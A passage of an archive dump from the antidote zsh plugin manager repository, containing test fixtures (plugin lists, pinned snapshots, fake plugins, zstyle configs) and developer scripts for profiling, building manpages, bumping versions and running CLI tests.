pin:8dd05bfcc12b0cd1ee9ea64be725b3d9f713cf64 zsh-users/zsh-syntax-highlighting kind:clone pin:dcc99a86497491dfe41fb8b0d5f506033546a8c0 mattmc3-antidote-4913257/tests/testdata/real/.zsh_plugins.snapshot.2025.txt000066400000000000000000000023121516600341500263750ustar00rootroot00000000000000# antidote snapshot # version: 2.0.9 # date: 2025-01-01T00:00:00Z dracula/zsh kind:clone pin:75ea3f5e1055291caf56b4aea6a5d58d00541c41 mattmc3/antidote kind:clone pin:de71516a7bdca8fbf17eda1d08129772ff6e8622 mattmc3/zman kind:clone pin:8c41af514ae9ab6bc78078ed97c376edcfab929d ohmyzsh/ohmyzsh kind:clone pin:d82669199b5d900b50fd06dd3518c277f0def869 peterhurford/up.zsh kind:clone pin:c8cc0d0edd6be2d01f467267e3ed385c386a0acb romkatv/zsh-bench kind:clone pin:661fc46c74fd970f00346d285f5ae434130491f0 romkatv/zsh-defer kind:clone pin:53a26e287fbbe2dcebb3aa1801546c6de32416fa rummik/zsh-tailf kind:clone pin:92b04527b784a70a952efde20e6a7269278fb17d rupa/z kind:clone pin:d37a763a6a30e1b32766fecc3b8ffd6127f8a0fd sindresorhus/pure kind:clone pin:92b8e9057988566b37ff695e70e2e9bbeb7196c8 zdharma-continuum/fast-syntax-highlighting kind:clone pin:cf318e06a9b7c9f2219d78f41b46fa6e06011fd9 zsh-users/antigen kind:clone pin:64de2dcd95d6a8e879cd2244c763d99f0144e78e zsh-users/zsh-autosuggestions kind:clone pin:0e810e5afa27acbd074398eefbe28d13005dbc15 zsh-users/zsh-history-substring-search kind:clone pin:87ce96b1862928d84b1afe7c173316614b30e301 zsh-users/zsh-syntax-highlighting kind:clone pin:5eb677bb0fa9a3e60f0eff031dc13926e093df92 mattmc3-antidote-4913257/tests/testdata/real/.zsh_plugins.snapshot.2026.txt000066400000000000000000000023121516600341500263760ustar00rootroot00000000000000# antidote snapshot # version: 2.0.9 # date: 2026-01-01T00:00:00Z dracula/zsh kind:clone pin:75ea3f5e1055291caf56b4aea6a5d58d00541c41 mattmc3/antidote kind:clone pin:de71516a7bdca8fbf17eda1d08129772ff6e8622 mattmc3/zman kind:clone pin:8c41af514ae9ab6bc78078ed97c376edcfab929d ohmyzsh/ohmyzsh kind:clone pin:a79b37b95461ea2be32578957473375954ab31ff peterhurford/up.zsh kind:clone pin:c8cc0d0edd6be2d01f467267e3ed385c386a0acb romkatv/zsh-bench kind:clone pin:d7f9f821688bdff9365e630a8aaeba1fd90499b1 romkatv/zsh-defer kind:clone pin:53a26e287fbbe2dcebb3aa1801546c6de32416fa rummik/zsh-tailf kind:clone pin:92b04527b784a70a952efde20e6a7269278fb17d rupa/z kind:clone pin:d37a763a6a30e1b32766fecc3b8ffd6127f8a0fd sindresorhus/pure kind:clone pin:54bd501c802283dee0940457da6eb3e642bd1453 zdharma-continuum/fast-syntax-highlighting kind:clone pin:3d574ccf48804b10dca52625df13da5edae7f553 zsh-users/antigen kind:clone pin:64de2dcd95d6a8e879cd2244c763d99f0144e78e zsh-users/zsh-autosuggestions kind:clone pin:85919cd1ffa7d2d5412f6d3fe437ebdbeeec4fc5 zsh-users/zsh-history-substring-search kind:clone pin:aa09f04747c0e3326914a895b304498b000c6e70 zsh-users/zsh-syntax-highlighting kind:clone pin:5eb677bb0fa9a3e60f0eff031dc13926e093df92 mattmc3-antidote-4913257/tests/testdata/real/.zsh_plugins.txt000066400000000000000000000020461516600341500241540ustar00rootroot00000000000000# paths #$ZDOTDIR/aliases.zsh $ZSH_CUSTOM/plugins/myplugin # plugins zsh-users/zsh-history-substring-search https://github.com/zsh-users/zsh-autosuggestions # git@ repo URLs aren't good for CI... revisit # git@github.com:zsh-users/zsh-completions.git # kind:zsh zsh-users/zsh-syntax-highlighting kind:zsh # kind:clone zsh-users/antigen kind:clone # kind:fpath sindresorhus/pure kind:fpath # kind:path romkatv/zsh-bench kind:path # kind:autoload mattmc3/zman path:functions kind:autoload # fpath-rule ohmyzsh/ohmyzsh path:plugins/gradle fpath-rule:prepend ohmyzsh/ohmyzsh path:plugins/docker fpath-rule:append # conditional ohmyzsh/ohmyzsh path:plugins/macos conditional:is-macos # branches mattmc3/antidote branch:v1 # subpath plugins ohmyzsh/ohmyzsh path:lib/clipboard.zsh ohmyzsh/ohmyzsh path:plugins/extract ohmyzsh/ohmyzsh path:plugins/magic-enter ohmyzsh/ohmyzsh path:plugins/fancy-ctrl-z # deferred zdharma-continuum/fast-syntax-highlighting kind:defer # theme dracula/zsh # non-conforming plugins peterhurford/up.zsh rummik/zsh-tailf rupa/z mattmc3-antidote-4913257/tests/testdata/real/.zsh_plugins.zsh000066400000000000000000000046651516600341500241520ustar00rootroot00000000000000fpath+=( "$ZSH_CUSTOM/plugins/myplugin" ) source "$ZSH_CUSTOM/plugins/myplugin/myplugin.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/zsh-users/zsh-history-substring-search" ) source "$ANTIDOTE_HOME/zsh-users/zsh-history-substring-search/zsh-history-substring-search.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/zsh-users/zsh-autosuggestions" ) source "$ANTIDOTE_HOME/zsh-users/zsh-autosuggestions/zsh-autosuggestions.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/zsh-users/zsh-syntax-highlighting" ) source "$ANTIDOTE_HOME/zsh-users/zsh-syntax-highlighting/zsh-syntax-highlighting.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/sindresorhus/pure" ) export PATH="$ANTIDOTE_HOME/romkatv/zsh-bench:$PATH" fpath+=( "$ANTIDOTE_HOME/mattmc3/zman/functions" ) builtin autoload -Uz $fpath[-1]/*(N.:t) fpath=( "$ANTIDOTE_HOME/ohmyzsh/ohmyzsh/plugins/gradle" $fpath ) source "$ANTIDOTE_HOME/ohmyzsh/ohmyzsh/plugins/gradle/gradle.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/ohmyzsh/ohmyzsh/plugins/docker" ) source "$ANTIDOTE_HOME/ohmyzsh/ohmyzsh/plugins/docker/docker.plugin.zsh" if is-macos; then fpath+=( "$ANTIDOTE_HOME/ohmyzsh/ohmyzsh/plugins/macos" ) source "$ANTIDOTE_HOME/ohmyzsh/ohmyzsh/plugins/macos/macos.plugin.zsh" fi fpath+=( "$ANTIDOTE_HOME/mattmc3/antidote" ) source "$ANTIDOTE_HOME/mattmc3/antidote/antidote.zsh" source "$ANTIDOTE_HOME/ohmyzsh/ohmyzsh/lib/clipboard.zsh" fpath+=( "$ANTIDOTE_HOME/ohmyzsh/ohmyzsh/plugins/extract" ) source "$ANTIDOTE_HOME/ohmyzsh/ohmyzsh/plugins/extract/extract.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/ohmyzsh/ohmyzsh/plugins/magic-enter" ) source "$ANTIDOTE_HOME/ohmyzsh/ohmyzsh/plugins/magic-enter/magic-enter.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/ohmyzsh/ohmyzsh/plugins/fancy-ctrl-z" ) source "$ANTIDOTE_HOME/ohmyzsh/ohmyzsh/plugins/fancy-ctrl-z/fancy-ctrl-z.plugin.zsh" if ! (( $+functions[zsh-defer] )); then fpath+=( "$ANTIDOTE_HOME/romkatv/zsh-defer" ) source "$ANTIDOTE_HOME/romkatv/zsh-defer/zsh-defer.plugin.zsh" fi fpath+=( "$ANTIDOTE_HOME/zdharma-continuum/fast-syntax-highlighting" ) zsh-defer source "$ANTIDOTE_HOME/zdharma-continuum/fast-syntax-highlighting/fast-syntax-highlighting.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/dracula/zsh" ) source "$ANTIDOTE_HOME/dracula/zsh/dracula.zsh-theme" fpath+=( "$ANTIDOTE_HOME/peterhurford/up.zsh" ) source "$ANTIDOTE_HOME/peterhurford/up.zsh/up.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/rummik/zsh-tailf" ) source "$ANTIDOTE_HOME/rummik/zsh-tailf/tailf.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/rupa/z" ) source "$ANTIDOTE_HOME/rupa/z/z.sh" mattmc3-antidote-4913257/tests/testdata/real/repo-list.txt000066400000000000000000000011351516600341500234450ustar00rootroot00000000000000https://github.com/dracula/zsh https://github.com/mattmc3/antidote https://github.com/mattmc3/zman https://github.com/ohmyzsh/ohmyzsh https://github.com/peterhurford/up.zsh https://github.com/romkatv/zsh-bench https://github.com/romkatv/zsh-defer https://github.com/rummik/zsh-tailf https://github.com/rupa/z https://github.com/sindresorhus/pure https://github.com/zdharma-continuum/fast-syntax-highlighting https://github.com/zsh-users/antigen https://github.com/zsh-users/zsh-autosuggestions https://github.com/zsh-users/zsh-history-substring-search https://github.com/zsh-users/zsh-syntax-highlighting mattmc3-antidote-4913257/tests/testdata/script-foobar.zsh000066400000000000000000000001631516600341500233430ustar00rootroot00000000000000fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/foo/bar" ) source "$ANTIDOTE_HOME/fakegitsite.com/foo/bar/bar.plugin.zsh" mattmc3-antidote-4913257/tests/testdata/script-fooqux.zsh000066400000000000000000000001631516600341500234140ustar00rootroot00000000000000fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/foo/qux" ) source "$ANTIDOTE_HOME/fakegitsite.com/foo/qux/qux.plugin.zsh" mattmc3-antidote-4913257/tests/tmp_home/000077500000000000000000000000001516600341500200425ustar00rootroot00000000000000mattmc3-antidote-4913257/tests/tmp_home/.config/000077500000000000000000000000001516600341500213655ustar00rootroot00000000000000mattmc3-antidote-4913257/tests/tmp_home/.config/antidote/000077500000000000000000000000001516600341500231745ustar00rootroot00000000000000mattmc3-antidote-4913257/tests/tmp_home/.config/antidote/config.zsh000066400000000000000000000000771516600341500251730ustar00rootroot00000000000000# antidote config zstyle ':antidote:bundle' path-style 'short' mattmc3-antidote-4913257/tests/tmp_home/.config/antidote/test_config.zsh000066400000000000000000000010011516600341500262160ustar00rootroot00000000000000# antidote config - test overrides # See templates/config.zsh for all available zstyles and their defaults. zstyle ':antidote:git' site 'fakegitsite.com' # zstyle ':antidote:git' protocol 'https' # zstyle ':antidote:git' cmd 'git' # zstyle ':antidote:bundle' path-style 'full' zstyle ':antidote:defer' bundle 'getantidote/zsh-defer' zstyle ':antidote:fpath' rule 'append' zstyle ':antidote:static' zcompile 'no' zstyle ':antidote:tests' set-warn-options 'on' mattmc3-antidote-4913257/tests/tmp_home/.zsh/000077500000000000000000000000001516600341500207245ustar00rootroot00000000000000mattmc3-antidote-4913257/tests/tmp_home/.zsh/.base_test_fixtures.txt000066400000000000000000000002261516600341500254450ustar00rootroot00000000000000bar/baz kind:clone foo/bar kind:clone foo/baz kind:clone git@fakegitsite.com:foo/qux kind:clone getantidote/zsh-defer kind:clone ohmy/ohmy kind:clone mattmc3-antidote-4913257/tests/tmp_home/.zsh/.zplugins_fake_load000066400000000000000000000010271516600341500245650ustar00rootroot00000000000000# repo plugins foo/bar git@fakegitsite.com:foo/qux.git # trailing comments # kind:clone getantidote/zsh-defer kind:clone # more trailing comments # kind:zsh foo/bar kind:zsh # kind:fpath foo/bar kind:fpath # kind:path foo/bar kind:path # subpath plugins ohmy/ohmy path:lib ohmy/ohmy path:plugins/extract # fpath-rule ohmy/ohmy path:plugins/docker fpath-rule:prepend ohmy/ohmy path:plugins/docker fpath-rule:append # deferred ohmy/ohmy path:plugins/magic-enter kind:defer # theme ohmy/ohmy path:custom/themes/pretty.zsh-theme mattmc3-antidote-4913257/tests/tmp_home/.zsh/.zsh_plugins.txt000066400000000000000000000007451516600341500241160ustar00rootroot00000000000000# local plugins ~/foo/bar $ZSH_CUSTOM path:plugins/myplugin # repo plugins foo/bar git@fakegitsite.com:foo/qux.git # trailing comments # kind:clone getantidote/zsh-defer kind:clone # more trailing comments # kind:zsh foo/bar kind:zsh # kind:fpath foo/bar kind:fpath # kind:path foo/bar kind:path # subpath plugins ohmy/ohmy path:lib ohmy/ohmy path:plugins/extract # deferred ohmy/ohmy path:plugins/magic-enter kind:defer # theme ohmy/ohmy path:custom/themes/pretty.zsh-theme mattmc3-antidote-4913257/tests/tmp_home/.zsh/aliases.zsh000066400000000000000000000000371516600341500230730ustar00rootroot00000000000000echo "sourcing aliases.zsh..." mattmc3-antidote-4913257/tests/tmp_home/.zsh/custom/000077500000000000000000000000001516600341500222365ustar00rootroot00000000000000mattmc3-antidote-4913257/tests/tmp_home/.zsh/custom/lib/000077500000000000000000000000001516600341500230045ustar00rootroot00000000000000mattmc3-antidote-4913257/tests/tmp_home/.zsh/custom/lib/lib1.zsh000066400000000000000000000000741516600341500243620ustar00rootroot00000000000000echo "sourcing custom lib1.zsh..." libs=($libs custom:lib1) mattmc3-antidote-4913257/tests/tmp_home/.zsh/custom/lib/lib2.zsh000066400000000000000000000000741516600341500243630ustar00rootroot00000000000000echo "sourcing custom lib2.zsh..." libs=($libs custom:lib2) mattmc3-antidote-4913257/tests/tmp_home/.zsh/custom/plugins/000077500000000000000000000000001516600341500237175ustar00rootroot00000000000000mattmc3-antidote-4913257/tests/tmp_home/.zsh/custom/plugins/grizwold/000077500000000000000000000000001516600341500255605ustar00rootroot00000000000000mattmc3-antidote-4913257/tests/tmp_home/.zsh/custom/plugins/grizwold/grizwold.plugin.zsh000066400000000000000000000061531516600341500314510ustar00rootroot00000000000000() { setopt interactivecomments typeset -ga grizwold_zopts=( noaliases aliasfuncdef allexport noalwayslastprompt alwaystoend appendcreate noappendhistory autocd autocontinue noautolist noautomenu autonamedirs noautoparamkeys noautoparamslash autopushd noautoremoveslash autoresume nobadpattern nobanghist nobareglobqual bashautolist bashrematch nobeep nobgnice braceccl bsdecho nocaseglob nocasematch cbases cdablevars # cdsilent # Not available in Zsh 5.4.2 chasedots chaselinks nocheckjobs # nocheckrunningjobs # Not available in Zsh 5.4.2 # noclobber combiningchars completealiases completeinword continueonerror correct correctall cprecedences cshjunkiehistory cshjunkieloops cshjunkiequotes cshnullcmd cshnullglob nodebugbeforecmd dvorak emacs noequals # errexit # errreturn noevallineno # noexec extendedglob extendedhistory noflowcontrol # forcefloat nofunctionargzero noglob noglobalexport # noglobalrcs globassign globcomplete globdots globstarshort globsubst nohashcmds nohashdirs hashexecutablesonly nohashlistall histallowclobber nohistbeep histexpiredupsfirst histfcntllock histfindnodups histignorealldups histignoredups histignorespace histlexwords histnofunctions histnostore histreduceblanks nohistsavebycopy histsavenodups histsubstpattern histverify nohup ignorebraces ignoreclosebraces ignoreeof incappendhistory incappendhistorytime # interactive interactivecomments # ksharrays kshautoload kshglob # kshoptionprint kshtypeset kshzerosubscript nolistambiguous nolistbeep listpacked listrowsfirst nolisttypes localloops # localoptions localpatterns localtraps # login longlistjobs magicequalsubst mailwarning markdirs menucomplete # monitor nomultibyte nomultifuncdef nomultios nonomatch nonotify nullglob numericglobsort octalzeroes overstrike pathdirs pathscript pipefail posixaliases posixargzero posixbuiltins posixcd posixidentifiers posixjobs # posixstrings posixtraps printeightbit printexitvalue # privileged promptbang nopromptcr # nopromptpercent nopromptsp promptsubst pushdignoredups pushdminus pushdsilent pushdtohome rcexpandparam rcquotes # norcs recexact rematchpcre # restricted rmstarsilent rmstarwait sharehistory shfileexpansion shglob # shinstdin shnullcmd shoptionletters noshortloops shwordsplit # singlecommand singlelinezle # sourcetrace sunkeyboardhack transientrprompt trapsasync typesetsilent nounset # verbose # vi warncreateglobal warnnestedvar # xtrace # zle ) setopt $grizwold_zopts } mattmc3-antidote-4913257/tests/tmp_home/.zsh/custom/plugins/myplugin/000077500000000000000000000000001516600341500255635ustar00rootroot00000000000000mattmc3-antidote-4913257/tests/tmp_home/.zsh/custom/plugins/myplugin/myplugin.plugin.zsh000066400000000000000000000001061516600341500314470ustar00rootroot00000000000000# fake foo/bar echo "sourcing myplugin..." plugins+=(custom:myplugin) mattmc3-antidote-4913257/tests/tmp_home/.zsh/custom/plugins/mytheme/000077500000000000000000000000001516600341500253675ustar00rootroot00000000000000mattmc3-antidote-4913257/tests/tmp_home/.zsh/custom/plugins/mytheme/mytheme.zsh-theme000066400000000000000000000000651516600341500306660ustar00rootroot00000000000000echo "sourcing mytheme..." plugins+=(custom:mytheme) mattmc3-antidote-4913257/tests/tmp_home/.zsh/functions/000077500000000000000000000000001516600341500227345ustar00rootroot00000000000000mattmc3-antidote-4913257/tests/tmp_home/.zsh/functions/myfunc000066400000000000000000000000761516600341500241630ustar00rootroot00000000000000#!/bin/zsh function myfunc { echo myfunc "$@" } myfunc "$@" mattmc3-antidote-4913257/tools/000077500000000000000000000000001516600341500162305ustar00rootroot00000000000000mattmc3-antidote-4913257/tools/antidote-profile000077500000000000000000000024171516600341500214270ustar00rootroot00000000000000#!/usr/bin/env zsh # Profile antidote operations using zsh/zprof. # Usage: ./tools/antidote-profile zmodload zsh/zprof 0=${(%):-%x} typeset T_PRJDIR="${0:A:h:h}" cd "$T_PRJDIR" fpath+=( $T_PRJDIR/tests/functions ) autoload -Uz $T_PRJDIR/tests/functions/* source ./tests/__init__.zsh # Control timing output format TIMEFMT='%J real=%*E user=%*U sys=%*S' # Enable in-subprocess zprof instrumentation export ANTIDOTE_PROFILE=1 typeset _profile_dir=$(mktemp -d /tmp/antidote-profile.XXXXXXXX) print "==> t_setup_real" time t_setup_real print "" print "==> antidote bundle" export ANTIDOTE_PROFILE_OUT=${_profile_dir}/bundle.zprof time antidote bundle <$ZDOTDIR/.zsh_plugins.txt >$ZDOTDIR/.zsh_plugins.zsh print "" print "==> antidote update --bundles" export ANTIDOTE_PROFILE_OUT=${_profile_dir}/update.zprof time antidote update --bundles print "" print "==> t_teardown" t_teardown print "" print "==> zprof: antidote bundle (subprocess)" [[ -f ${_profile_dir}/bundle.zprof ]] && cat ${_profile_dir}/bundle.zprof || print "(no output)" print "" print "==> zprof: antidote update (subprocess)" [[ -f ${_profile_dir}/update.zprof ]] && cat ${_profile_dir}/update.zprof || print "(no output)" rm -rf "${_profile_dir}" print "" print "==> zprof: antidote-profile (parent shell)" zprof mattmc3-antidote-4913257/tools/buildman000077500000000000000000000024231516600341500177520ustar00rootroot00000000000000#!/bin/sh # https://docs.asciidoctor.org/asciidoctor/latest/manpage/ # https://mookid.github.io/manpages-asciidoc/ SCRIPT_DIR="$(cd -- "$(dirname -- "$0")" && pwd)" BASEDIR="$(cd "$SCRIPT_DIR/.." && pwd)" TMPDIR="$BASEDIR/.tmp/buildman" if [ -d "$TMPDIR" ]; then rm -rf "$TMPDIR" fi mkdir -p "$TMPDIR" if ! command -v "asciidoctor" >/dev/null 2>&1; then printf "Missing command %s (required for manpage builds).\n" "asciidoctor" >&2 exit 1 fi for manpage in "$BASEDIR"/man/*.adoc; do [ -e "$manpage" ] || continue manpage_name="$(basename "$manpage")" manpage_name="${manpage_name%.adoc}" case "$manpage_name" in footer|example) continue ;; esac printf "Building %s manpage...\n" "$manpage_name" mkdir -p "$BASEDIR/man/man1" manfile="$BASEDIR/man/man1/$manpage_name.1" adocfile="$TMPDIR/$manpage_name.adoc" cp "$manpage" "$adocfile" if [ -f "$BASEDIR/man/footer.adoc" ]; then printf "\n" >> "$adocfile" cat "$BASEDIR/man/footer.adoc" >> "$adocfile" fi # Use the last commit date of the adoc source so that rebuilding without # content changes doesn't produce a dirty diff. epoch="$(git log -1 --format=%at -- "$manpage" 2>/dev/null)" SOURCE_DATE_EPOCH="${epoch:-0}" asciidoctor --quiet -b manpage -d manpage -o "$manfile" "$adocfile" done mattmc3-antidote-4913257/tools/bumpver000077500000000000000000000004321516600341500176350ustar00rootroot00000000000000#!/usr/bin/env zsh 0=${(%):-%x} bumpversion --allow-dirty ${1:-revision} newver=$(grep 'current_version' ${0:h:h}/.bumpversion.cfg | sed -E 's/^[^0-9]+(.*)$/\1/') print "Version bumped to $newver." print "Now run:" print " git commit -am 'Bump version to $newver'" | tee >(pbcopy) mattmc3-antidote-4913257/tools/run-clitests000077500000000000000000000020701516600341500206110ustar00rootroot00000000000000#!/usr/bin/env zsh 0=${(%):-%x} setopt extended_glob local T_PRJDIR="${0:A:h:h}" cd "$T_PRJDIR" local o_unit o_rev zparseopts -D -M -- -unit=o_unit -rev=o_rev || return 1 testfiles=() if (( $# > 0 )); then testfiles=($@) elif (( $#o_unit )); then testfiles=($T_PRJDIR/tests/README.md $T_PRJDIR/tests/test_*.md~*test_real*~*foo*) else testfiles=($T_PRJDIR/tests/README.md $T_PRJDIR/tests/test_*.md) fi # if tests are run in reverse order, I can catch places where I didn't teardown properly if (( $#o_rev )); then testfiles=(${(O)testfiles}) fi # foo example test command # env -i PATH=$PATH FPATH=$FPATH \ # zsh -f -- =clitest --list-run --progress dot --prompt '%' --color always $T_PRJDIR/tests/foo.md # Use ZSH_BINARY if set, otherwise fallback to default zsh ZSH=${ZSH_BINARY:-zsh} env -i PATH=$PATH FPATH=$FPATH PAGER=cat \ $ZSH -f -- \ =clitest \ --list-run --progress dot --prompt '%' \ --color always \ --pre-flight 'git --version; print $T_PRJDIR $VENDOR $OSTYPE =$ZSH $ZSH_VERSION $ZSH_PATCHLEVEL' \ -- $testfiles mattmc3-antidote-4913257/tools/sloc000077500000000000000000000005111516600341500171130ustar00rootroot00000000000000#!/usr/bin/env zsh 0=${(%):-%x} BASEDIR=${0:h:h} cd $BASEDIR print "loc:" wc -l antidote.zsh ./functions/*(.) print "sloc:" for file in antidote.zsh ./functions/*(.); do lines=$(awk '/^ *[^#]+$/{print}' $file | wc -l) print $lines $file done print "sloc total:" awk '/^ *[^#]+$/{print}' antidote.zsh ./functions/*(.) | wc -l